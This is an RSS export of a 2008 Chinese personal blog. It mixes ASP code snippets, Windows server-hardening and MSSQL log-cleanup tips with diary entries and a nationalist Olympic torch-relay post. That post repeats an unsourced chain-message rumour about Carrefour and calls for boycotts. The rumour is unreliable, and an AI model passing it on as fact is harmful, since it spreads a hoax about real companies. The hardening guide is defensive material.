onclick="location='biglist.asp?act=del&amp;id=&lt;%=rs("id")%&gt;'"&gt;&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;/form&gt;<BR><BR>&lt;%I=I+1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>RS.MoveNext&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>Loop%&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;<BR><BR>&lt;tr&gt; &lt;td colspan="6" align=right height=30&gt;<BR>&nbsp;&nbsp; 共有&lt;font color=red&gt;&lt;%=rs.recordcount%&gt;&lt;/font&gt;个关键词，&lt;font color=red&gt;&lt;%=page%&gt;&lt;/font&gt;/&lt;%=TotalPages%&gt;页<BR>【&lt;a href="&lt;%=request.ServerVariables("URL")%&gt;?page=1"&gt;首页&lt;/a&gt;】 <BR>&lt;% if page&gt;1 then %&gt;<BR>【&lt;a href="&lt;%=request.ServerVariables("URL")%&gt;?page=&lt;%=StartPageNum-1%&gt;"&gt;上一页&lt;/a&gt;】<BR>&lt;%else%&gt;<BR>&lt;%end if%&gt;<BR>&lt;% For I=StartPageNum to EndPageNum&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if I&lt;&gt;page then %&gt;&lt;A href="?page=&lt;%=I%&gt;"&gt;&lt;u&gt;&lt;%=I%&gt;&lt;/u&gt; &lt;/A&gt;&lt;% else %&gt;&lt;font color=red&gt;&lt;%=I%&gt;&lt;/font&gt; &lt;% end if %&gt;&lt;% Next %&gt;&lt;% if EndPageNum&lt;RS.Pagecount then %&gt;<BR>【&lt;a href="&lt;%=request.ServerVariables("URL")%&gt;?page=&lt;%=EndcPageNum+i%&gt;"&gt;下一页&lt;/a&gt;】<BR>&lt;%end if%&gt;<BR>【&lt;a href="&lt;%=request.ServerVariables("URL")%&gt;?page=&lt;%=TotalPages%&gt;"&gt;尾页&lt;/a&gt;】<BR><BR>&lt;/td&gt;&lt;/tr&gt;<BR><BR><BR>&lt;%<BR>end if<BR>rs.close<BR>%&gt;&nbsp;&nbsp;<BR><BR>&lt;/table&gt;<BR><BR><BR><BR>===============================================常用JAVA===========================================================<BR>response.write"&lt;SCRIPT language=JavaScript&gt;alert('该关键词已经存在。');"<BR>response.write"<EM>javascript</EM>:history.go(-1)&lt;/SCRIPT&gt;"<BR>'response.redirect "biglist.asp"<BR>'response.write"this.location.href='index.asp';&lt;/SCRIPT&gt;" <BR>'response.redirect request.servervariables("http_referer")<BR><BR>response.end<BR><BR><BR><BR>=================================================常用命令=============================================================<BR><BR>两个表循环<BR>&lt;%<BR>dim crs1<BR>dim csql1<BR>Set crs1= Server.CreateObject("ADODB.Recordset") <BR>csql1="select * from commercetype" <BR>crs1.open csql1,conn,1,1<BR>%&gt;<BR>&lt;%do while not crs1.eof%&gt;<BR>&lt;%<BR>Set all= Server.CreateObject("ADODB.Recordset")<BR>csql1="select * from Commerce where Typeid="&amp;crs1("Typeid")<BR>all.open csql1,conn,1,1<BR><BR>%&gt;<BR>&lt;td width="20%" height=17 bgcolor="#E4F4FC" valign=middle&gt;<BR>&lt;font color=red&gt;<BR>&lt;%if not all.eof then%&gt;<BR>&lt;%=all.recordcount%&gt;<BR>&lt;%else%&gt;<BR>0<BR>&lt;%end if%&gt;<BR>&lt;/font&gt;<BR>&lt;/td&gt;<BR>&lt;%<BR>crs1.movenext<BR>loop<BR>%&gt;<BR><BR>去掉太长的录入文字:<BR>&lt;td style="word-wrap:break-word;word-break:break-all;"&gt;<BR><BR>&lt;%=ltrim(arr(j))%&gt;<BR>去掉左空格<BR>instr(request.form("t"),",")&gt;0<BR>查验是否有，号<BR>arr=split(request.form("t"),",") <BR>去掉，并付值给arr<BR>ubound(arr) <BR>个数<BR></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/28016129200841653917400</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/28016129200841653917400</guid>
    <pubDate>Fri, 16 May 2008 17:39:17 +0800</pubDate>
    <dcterms:modified>2008-05-16T17:39:17+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[WEB目录设置权限后的故障排除]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/280161292008452313676</link>
    <description><![CDATA[<div><P>经常设置完权限以后在使用后台时会提示：</P>
<P>Microsoft VBScript 运行时错误 错误 '800a0046' </P>
<P>没有权限 </P>
<P>/foosun/admin/Refresh/Cls_Refresh.asp，行 421 </P>
<P>&nbsp;</P>
<P>这就是因为某一个目录的权限设置得过于严格了，导致文件无法创建。我们可以找到/foosun/admin/Refresh/Cls_Refresh.asp这个文件的421行，代码如下：</P>
<P>m_FSO.DeleteFile(f_Del_Path)</P>
<P>这是用FSO删除这个变量"f_Del_Path"</P>
<P>单看变量名我们是无法知道它是什么咯，毕竟不是我们自己写的程序当然不知道是什么咯。。于是我们加上一句：respose.write(f_Del_Path)输出显示这个变量名，刷新再看错误提示，代码如下：</P>
<P><BR>E:\foosun\html\news\news\index.html <BR>Microsoft VBScript 运行时错误 错误 '800a0046' </P>
<P>没有权限 </P>
<P>/foosun/admin/Refresh/Cls_Refresh.asp，行 421 <BR></P>
<P>嘻嘻，到这里相信很多人都知道啦。。只要找到E:\foosun\html\news\news\index.html 这个文件看看他的目录权限设置是否正确就ok啦。。</P>
<P>这只是写给一些程序比较差的人看哦，老鸟可别笑话我。。努力学习ING！</P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/280161292008452313676</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/280161292008452313676</guid>
    <pubDate>Mon, 5 May 2008 14:31:36 +0800</pubDate>
    <dcterms:modified>2008-05-05T14:31:36+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[留下我最喜欢的文字]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/280161292008440336132</link>
    <description><![CDATA[<div>真正的孤独是什么？不是一个人落寞时的孤单，而是伫立于众人狂欢中，却遗世独立。</div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/280161292008440336132</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/280161292008440336132</guid>
    <pubDate>Sun, 4 May 2008 12:03:36 +0800</pubDate>
    <dcterms:modified>2008-05-04T12:03:36+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[爱我中华！]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/280161292008322113117642</link>
    <description><![CDATA[<div><P style="TEXT-INDENT: 2em">&nbsp;</P>
<P style="TEXT-INDENT: 2em">藏独分子抢火炬被擒 地点：伦敦 </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/114/a/d7/77/yoonsongmi/1208359133_25650600.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">08奥运受到外国人这样的待遇 地点：巴黎 </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/109/a/d7/77/yoonsongmi/1208359133_28939200.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/110/a/d7/77/yoonsongmi/1208359324_27474400.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/127/a/d7/77/yoonsongmi/1208359358_53442400.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/44/a/d7/77/yoonsongmi/1208359133_23232600.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">让人心酸的照片 北京时间凌晨4点圣火抵达旧金山 无人的街头 年迈的老人只身支持奥运生活传递 </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/118/a/d7/77/yoonsongmi/1208359899_35212900.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">再让大家看一位留学生发的帖子，由于有敏感词语被禁止提交，所以截图给大家看 </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/133/a/d7/77/yoonsongmi/1208360071_26125400.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">可爱的巴基斯坦兄弟姐妹 在中国圣火传递受到藏独分子和许多法国人英国人等欧洲人阻挠还是勇敢的站了出来！</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/102/a/d7/77/yoonsongmi/1208360143_71652700.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/111/a/d7/77/yoonsongmi/1208360211_10314700.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/104/a/d7/77/yoonsongmi/1208360281_36602500.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">一个中国女孩，和她的同伴们一起一直在举着北京奥运的旗帜在追着火炬跑，当她看到记者的相机镜头对准她的时候，她先是激动的欢呼起来，然后禁不住流下了眼泪，然后又强忍住，努力微笑着让记者拍摄她。　这一张照片很令我们感动。有时候我们也许会对国家有许多抱怨，在那个一个瞬间，我只盼望更多的五星红旗会飘扬。美丽的中国姑娘！</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/128/d/d7/77/yoonsongmi/1208360385_17725300.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/106/a/d7/77/yoonsongmi/1208360422_89089800.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/105/a/d7/77/yoonsongmi/1208360475_35078800.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">下图为火炬遭抢现场，护送火炬座轮椅的姑娘叫金晶，是位残疾人，后面推轮椅的据说是位盲人... </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/128/c/d7/77/yoonsongmi/1208360622_74233100.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/109/a/d7/77/yoonsongmi/1208360622_72731100.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">看她的腿，心酸 看她的动作和表情，这就是中国人不屈的意志！！ </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/43/a/d7/77/yoonsongmi/1208360622_74236300.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">她自己回忆下面这张图片时说："要想抢走我手上的圣火,先从我尸体上走过去！" </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/104/a/d7/77/yoonsongmi/1208360827_44690700.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">受到了惊吓委屈也没有哭出来的中国姑娘——金晶 </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/100/a/d7/77/yoonsongmi/1208360883_15988000.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">金晶事后发给母亲的短信　开心的妈妈</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/129/d/d7/77/yoonsongmi/1208361003_98323900.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">金晶右侧穿黑衣服的GG，在藏独分子抢火炬的时候，他把自己价值不菲的摄像机愤怒地砸到藏独分子脸上</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/104/a/d7/77/yoonsongmi/1208361051_74749300.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">用摄象机拍人的留学生就是这么帅</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/152/a/d7/77/yoonsongmi/1208361098_34838000.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">红旗飘飘</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/45/a/d7/77/yoonsongmi/1208361151_57485900.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">中国留学生的热血沸腾了冰冷的喷泉</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/123/a/d7/77/yoonsongmi/1208361205_71464500.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">还是他</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/121/a/d7/77/yoonsongmi/1208361320_39613500.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/116/a/d7/77/yoonsongmi/1208361364_19984300.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">愤怒而团结的在外华人 不单是在法国的哦！ </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/111/a/d7/77/yoonsongmi/1208361409_47048500.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/104/a/d7/77/yoonsongmi/1208361443_29735600.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/131/b/d7/77/yoonsongmi/1208361473_99331700.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">中国的声音！！！Tibet was,is,and always will be, a part of CHINA!!!</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/131/d/d7/77/yoonsongmi/1208361617_22767900.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">Do you know a true Tibet? </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/114/a/d7/77/yoonsongmi/1208361655_68310900.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">外国媒体，请不要再说谎！！！</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/43/a/d7/77/yoonsongmi/1208361696_61238900.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/116/a/d7/77/yoonsongmi/1208361731_71455800.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">世界各地的华人，这就是团结！一个民族的品质！ </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/133/c/d7/77/yoonsongmi/1208361829_89405700.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/150/a/d7/77/yoonsongmi/1208361893_37577600.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">反对藏独，维护祖国统一的美丽身影... </P>
<P style="TEXT-INDENT: 2em">?手持鲜艳的五星红旗，美丽无需浓妆艳抹 </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/109/a/d7/77/yoonsongmi/1208361950_21171000.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">这是发自内心深处的呐喊 </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/120/a/d7/77/yoonsongmi/1208362047_00560800.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">有人说过，心灵美才是真正的美丽</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/148/a/d7/77/yoonsongmi/1208362136_30919100.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">亭亭玉立，在寒风中她们毫不畏惧 </P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/132/a/d7/77/yoonsongmi/1208362266_35916300.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">美丽的背影，这就是美丽的诠释</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/111/a/d7/77/yoonsongmi/1208362306_55905900.jpg" border=0></P>
<P style="TEXT-INDENT: 2em"></P>
<P style="TEXT-INDENT: 2em">五星红旗到映衬，一道靓丽的风景</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images13.51.com/120/a/d7/77/yoonsongmi/1208362377_88449300.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">为这届在我们的土地上举办的奥运，为反对祖国分裂维护主权完整做出我们的贡献！ </P>
<P style="TEXT-INDENT: 2em">中国，请不要哭泣， </P>
<P style="TEXT-INDENT: 2em">千百年来中华民族经历无数风霜都不曾退缩，</P>
<P style="TEXT-INDENT: 2em">藏独分子不会得逞， </P>
<P style="TEXT-INDENT: 2em">亿万中华儿女会齐心协力。 </P>
<P style="TEXT-INDENT: 2em">加油，中国！加油,北京奥运！ </P>
<P style="TEXT-INDENT: 2em">重大消息: 法国政府准备拿出二千万美金，</P>
<P style="TEXT-INDENT: 2em">家乐福自己再拿出五百万美金，用于五一降价促消，</P>
<P style="TEXT-INDENT: 2em">听说家乐福高层很狂妄，让中国人在五一降价中挤破家乐福，最好踩死几个人．</P>
<P style="TEXT-INDENT: 2em">法国电视台也在积极做准备，拍摄中国人到家乐福疯狂购物的镜像．让中国人自打自的嘴． </P>
<P style="TEXT-INDENT: 2em">如你是爱国的中国人，把此信息传给你的亲戚朋友，</P>
<P style="TEXT-INDENT: 2em">不要到家乐福购物，不要为了丁点的小便宜，而丢了尊严，丢了民族志气，让外国人笑话．</P>
<P style="TEXT-INDENT: 2em">再不能让外国人把我们看作东亚病夫了.</P>
<P style="TEXT-INDENT: 2em">虽然我们的努力可能微不足道,但大家团结起来一定要让外国人看看我们的力量</P>
<P style="TEXT-INDENT: 2em">　　香港人的MSN QQ头像都是紫荆花</P>
<P style="TEXT-INDENT: 2em">　　代表着大家齐心抗击非典；</P>
<P style="TEXT-INDENT: 2em">　　如今他国抵制奥运</P>
<P style="TEXT-INDENT: 2em">　　我们也该把头像都换成“我的中国心”!</P>
<P style="TEXT-INDENT: 2em">　　向世人昭示我们的齐心合力</P>
<P style="TEXT-INDENT: 2em">　　方法： </P>
<P style="TEXT-INDENT: 2em">　　将下面的图象保存在硬盘</P>
<P style="TEXT-INDENT: 2em">　　然后在QQ中修改个人资料~右边更换头像~</P>
<P style="TEXT-INDENT: 2em">　　然后本地上传 </P>
<P style="TEXT-INDENT: 2em">　　 </P>
<P style="TEXT-INDENT: 2em">各位同胞：</P>
<P style="TEXT-INDENT: 2em">奥运圣火不断受到骚扰,尤其在巴黎。</P>
<P style="TEXT-INDENT: 2em">巴黎市政府竟把藏独标语挂上市政大厦！</P>
<P style="TEXT-INDENT: 2em">欧洲议会通过决议支持藏独为北京抹黑</P>
<P style="TEXT-INDENT: 2em">美国众议院通过决议要抵制中国奥运！</P>
<P style="TEXT-INDENT: 2em">德国总理公开支持藏独，不参加奥运!</P>
<P style="TEXT-INDENT: 2em">面对21世纪的中国八国联军想干什么?</P>
<P style="TEXT-INDENT: 2em">让全世界看看中国人团结的力量！</P>
<P style="TEXT-INDENT: 2em">5月1日,让全国的家乐福冷场!</P>
<P style="TEXT-INDENT: 2em">6月1日,让全国的肯德基冷场!</P>
<P style="TEXT-INDENT: 2em">我们就是优秀的中国人！</P>
<P style="TEXT-INDENT: 2em">我们就是最爱国的中国人！</P>
<P style="TEXT-INDENT: 2em">中国人万众一心，团结起来，</P>
<P style="TEXT-INDENT: 2em">让全世界看看!!!</P>
<P style="TEXT-INDENT: 2em">正版中国心：</P>
<P style="TEXT-INDENT: 2em"><IMG src="http://images18.51.com/1000/b/4a/22/zklwqlg/1208579543_74875000.jpg" border=0></P>
<P style="TEXT-INDENT: 2em">我真的不懂为什么我这篇文章会出现审核不通过的提示，也不告诉我为什么不通过。163难道连个解释都没有就不让我的文章显示了么？作为163的忠实用户我觉得很伤心！</P>
<P style="TEXT-INDENT: 2em"></P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/280161292008322113117642</comments>
    <slash:comments>5</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/280161292008322113117642</guid>
    <pubDate>Tue, 22 Apr 2008 11:31:17 +0800</pubDate>
    <dcterms:modified>2008-05-16T17:45:51+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[书生志]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/28016129200831810152064</link>
    <description><![CDATA[<div><P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 书生报国无他物.惟有手中笔作刀!还好.我们有智慧.我们有电脑.我们有Internet...自古男儿扬名在疆场.让我们在这网络天地中攻城掠地.给轻视中国.污辱中国人的暴民迎头痛击!~ </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/28016129200831810152064</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/28016129200831810152064</guid>
    <pubDate>Fri, 18 Apr 2008 22:15:20 +0800</pubDate>
    <dcterms:modified>2008-04-18T22:15:20+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[MSSQL数据库日志清除]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/28016129200831853027887</link>
    <description><![CDATA[<div><P>在查询分析器里输入这段代码就可以清理掉日志了</P>
<P>DUMP&nbsp; TRANSACTION&nbsp;&nbsp;&nbsp;数据库名 WITH&nbsp; NO_LOG&nbsp;&nbsp;&nbsp; </P>
<P>dbcc shrinkfile('数据库名_Log',1)</P>
<P>&nbsp;</P>
<P>也可以写一段存储过程来完成，以后每次只要在存储过程中使用命令如下：</P>
<P>Create&nbsp; proc dbo.Delete_logData&nbsp;&nbsp; ；存储过程名<BR>as</P>
<P>DUMP&nbsp; TRANSACTION&nbsp;&nbsp;&nbsp;数据库名 WITH&nbsp; NO_LOG&nbsp;&nbsp;&nbsp; </P>
<P>dbcc shrinkfile('数据库名_Log',1)</P>
<P>&nbsp;</P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/28016129200831853027887</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/28016129200831853027887</guid>
    <pubDate>Fri, 18 Apr 2008 17:30:27 +0800</pubDate>
    <dcterms:modified>2008-04-18T17:30:27+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[小丑]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/28016129200831343455891</link>
    <description><![CDATA[<div><P>&nbsp;&nbsp;&nbsp;&nbsp; 又一次莫明的烦躁.近来的工作好忙,一次次的失去目标,这个周末很苦，反感自己早早的醒来,如果就那么睡下去,也许可以轻松一点度过.孤单紧紧的包围着我,一切都提不起兴趣.曾经很感兴趣的技术文章现在也看不进去,夜夜买醉想求个好梦,可惜,好梦又在哪里呢.不知来自何处的压力让我无法呼吸.喜欢那种坐在小酒馆的角落里,注视着身边所有人的感觉,看他们的欢笑,看他们的愤怒,不知是羡慕还是失落.仿佛我什么都有，缺有什么都没有.今天是个好天气，阳光明媚,外面很暖和,我依旧蜷缩在自己的小屋里,窗外那明媚的阳光一点都照不到我心里.</P>
<P>&nbsp;&nbsp; 很乱,如果现在用纸写的话我相信我的字迹一定很潦草.那个自信的我不知跑到哪里去了,现在的我只是一个酒鬼,一个胆小鬼.聊过很多次了,近来才明白了好多,这一切都是我自愿做的,现在这样我没有资格去要求什么,不过做那些事的时候我都很开心也很充实.自愿的嘛,为了心里那点温存,那点温柔.这个世界上是有很多的不公平，也永远没有公平.很想说我的世界里已不能没有你,很想好好的告诉你你在我心里的位置.不过我现在再也张不开口了.也拿不出在工作里那自信的笑.很喜欢曾经的那个风格.更喜欢那个风格里的那一小段话:</P>
<P>谢幕，人潮散去。</P>
<P>我躲在幕后换下笑脸，不知该哭？</P>
<P>还是等待下一次开幕的欢笑...</P>
<P>虽然我是个同事朋友们公认的开心果,其实我的生活就像小丑一样,朋友们散去以后,我拿下那张笑脸,不知道该哭还是等待下一次开幕的欢笑...希望一缕阳光可以照到我的心里,让我在这阳春四月的时候可以暖暖的笑,拿下面具的笑.累还是累,身体,心灵...渴望那温柔的怀抱让我可以休息...偷偷的再说一次:honey, i love you will go on.Do not go away from me! </P>
<P>Do not go away from me! <BR><BR></P>
<P><STRONG></STRONG>&nbsp;</P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/28016129200831343455891</comments>
    <slash:comments>5</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/28016129200831343455891</guid>
    <pubDate>Sun, 13 Apr 2008 16:34:55 +0800</pubDate>
    <dcterms:modified>2008-04-13T16:49:47+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[主机安全配置]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/2801612920083814737641</link>
    <description><![CDATA[<div><P>注入漏洞、上传漏洞、弱口令漏洞等问题随处可见。跨站攻击，远程控制等等是再老套不过了的话题。有些虚拟主机管理员不知是为了方便还是不熟悉配置，干脆就将所有的网站都放在同一个目录中，然后将上级目录设置为站点根目录。有些呢，则将所有的站点的目录都设置为可执行、可写入、可修改。有些则为了方便，在服务器上挂起了QQ，也装上了BT。更有甚者，竟然把Internet来宾帐号加入到Administrators组中！汗……！普通的用户将自己的密码设置为生日之类的6位纯数字，这种情况还可以原谅，毕竟他们大部分都不是专门搞网络研究的，中国国民的安全意识提高还需要一段时间嘛，但如果是网络管理员也这样，那就怎么也有点让人想不通了。网络安全问题日益突出，最近不又有人声称“万网：我进来玩过两次了！”。这么有名气的网络服务商，也难免一逃啊！网站注入漏洞是最近还频频在报刊杂志上曝光的高校入侵……一句话，目前很大部分的网站安全状况让人担忧！&nbsp;&nbsp; </P>
<P>　　这里就我个人过去的经历和大家一同来探讨有关安全虚拟主机配置的问题。以下以建立一个站点cert.ecjtu.jx.cn为例，跟大家共同探讨虚拟主机配置问题。&nbsp;&nbsp; <BR></P>
<P>&nbsp;</P>
<P>　　一、建立Windows用户&nbsp;&nbsp; </P>
<P>　　为每个网站单独设置windows用户帐号cert，删除帐号的User组，将cert加入Guest用户组。将用户不能更改密码，密码永不过期两个选项选上。&nbsp;&nbsp; </P>
<P>　　二、设置文件夹权限&nbsp;&nbsp; </P>
<P>　　1、设置非站点相关目录权限&nbsp;&nbsp; </P>
<P>　　Windows安装好后，很多目录和文件默认是everyone可以浏览、查看、运行甚至是可以修改 的。这给服务器安全带来极大的隐患。这里就我个人的一些经验提一些在入侵中较常用的目录。&nbsp;&nbsp; </P>
<P>　　C：\；D：\；……&nbsp;&nbsp; <BR>　　C:\perl&nbsp;&nbsp; <BR>　　C:\temp\&nbsp;&nbsp; <BR>　　C:\Mysql\&nbsp;&nbsp; <BR>　　c:\php\&nbsp;&nbsp; <BR>　　C:\autorun.inf&nbsp;&nbsp; <BR>　　C:\Documents and setting\&nbsp;&nbsp; <BR>　　C:\Documents and Settings\All Users\「开始」菜单\程序\&nbsp;&nbsp; <BR>　　C:\Documents and Settings\All Users\「开始」菜单\程序\启动&nbsp;&nbsp; <BR>　　C:\Documents and Settings\All Users\Documents\&nbsp;&nbsp; <BR>　　C:\Documents and Settings\All Users\Application Data\Symantec\&nbsp;&nbsp; <BR>[bitsCN_com]</P>
<P><BR>　　C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere&nbsp;&nbsp; <BR>　　C:\WINNT\system32\config\&nbsp;&nbsp; <BR>　　C:\winnt\system32\inetsrv\data\&nbsp;&nbsp; <BR>　　C:\WINDOWS\system32\inetsrv\data\&nbsp;&nbsp; <BR>　　C:\Program Files\&nbsp;&nbsp; <BR>　　C:\Program Files\Serv-U\&nbsp;&nbsp; <BR>　　c:\Program Files\KV2004\&nbsp;&nbsp; <BR>　　c:\Program Files\Rising\RAV&nbsp;&nbsp; <BR>　　C:\Program Files\RealServer\&nbsp;&nbsp; <BR>　　C:\Program Files\Microsoft SQL server\&nbsp;&nbsp; <BR>　　C:\Program Files\Java Web Start\　　&nbsp;&nbsp; </P>
<P>　　&nbsp;&nbsp; <BR>　　以上这些目录或文件的权限应该作适当的限制。如取消Guests用户的查看、修改和执行等权限。由于篇幅关系，这里仅简单提及。&nbsp;&nbsp; </P>
<P>　　2、设置站点相关目录权限：&nbsp;&nbsp; </P>
<P>　　A、设置站点根目录权限：将刚刚建立的用户cert给对应站点文件夹，假设为D：\cert设置相应的权限：Adiministrators组为完全控制；cert有读取及运行、列出文件夹目录、读取，取消其它所有权限。&nbsp;&nbsp; </P>
